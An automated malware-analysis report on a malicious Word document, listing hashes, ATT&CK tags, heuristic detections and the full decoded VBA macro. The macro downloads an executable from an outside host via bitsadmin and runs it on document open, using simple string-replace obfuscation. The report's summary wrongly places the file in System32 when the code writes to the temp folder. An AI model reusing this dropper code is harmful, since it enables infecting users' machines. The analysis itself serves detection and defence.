Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9bb5c37139910581…

MALICIOUS

Office (OLE)

166.0 KB Created: 2019-02-11 13:42:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 0fa58191497e731028ab26c0cb65cfec SHA-1: 4b1454d3daf8135c7e843f0481141fb345e43fe6 SHA-256: 9bb5c37139910581b00f7abf8c81899a98daca0b83f8a988f5730e350360728e
398 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a VBA macro that executes upon opening. This macro reconstructs a URL to 'http://halobitanbd.com/css/Rawfile.exe' and saves it as 'C:\Windows\System32\filename.exe'. It then uses 'cmd.exe' to execute the downloaded file, indicating a downloader or dropper functionality. The use of WScript.Shell and Shell() calls, along with obfuscated code, strongly suggests malicious intent.

Heuristics 11

  • ClamAV: Doc.Dropper.Agent-6957338-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6957338-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell (trfutyjnih)
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set yuijtrhb = CreateObject("WScript.Shell")
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set yuijtrhb = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set yuijtrhb = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    trfutyjnih = Environ$(Replace("taaampaaa", "aaa", "")) & "\" & Replace("\filenameabc", "abc", ".exe")
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1081 bytes
SHA-256: d3c6f5bcc480fec4d1ffe2aded4eb5684d3a460bfc1ae076f2bbbcfb2797b113
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()

dfgfdgfg

End Sub

Sub dfgfdgfg()

fgthdfggffghgf = Replace(("hhhalobitanbd.com/css/Rawfileabc"), "abc", ".exe")

gggg = Replace(fgthdfggffghgf, "hhh", "http://")

Set yuijtrhb = CreateObject("WScript.Shell")

trfutyjnih = Environ$(Replace("taaampaaa", "aaa", "")) & "\" & Replace("\filenameabc", "abc", ".exe")

yuijtrhb.Run Replace(("abcbitsabcadmin /transabcfer myFabcile /downlabcoad /priorabcity norabcmal "), "abc", "") & gggg & " " & trfutyjnih, Replace("050", "50", ""), Replace("Fa50lse", "50", "")

rthybfhd (60)

Shell (trfutyjnih)

End Sub

Sub rthybfhd(sec)

    Dim temp

    temp = Timer

    Do While Timer - temp < sec

    Loop

End Sub

Attribute VB_Name = "NewMacros"
Sub my()
'
' my Macro
'
'

End Sub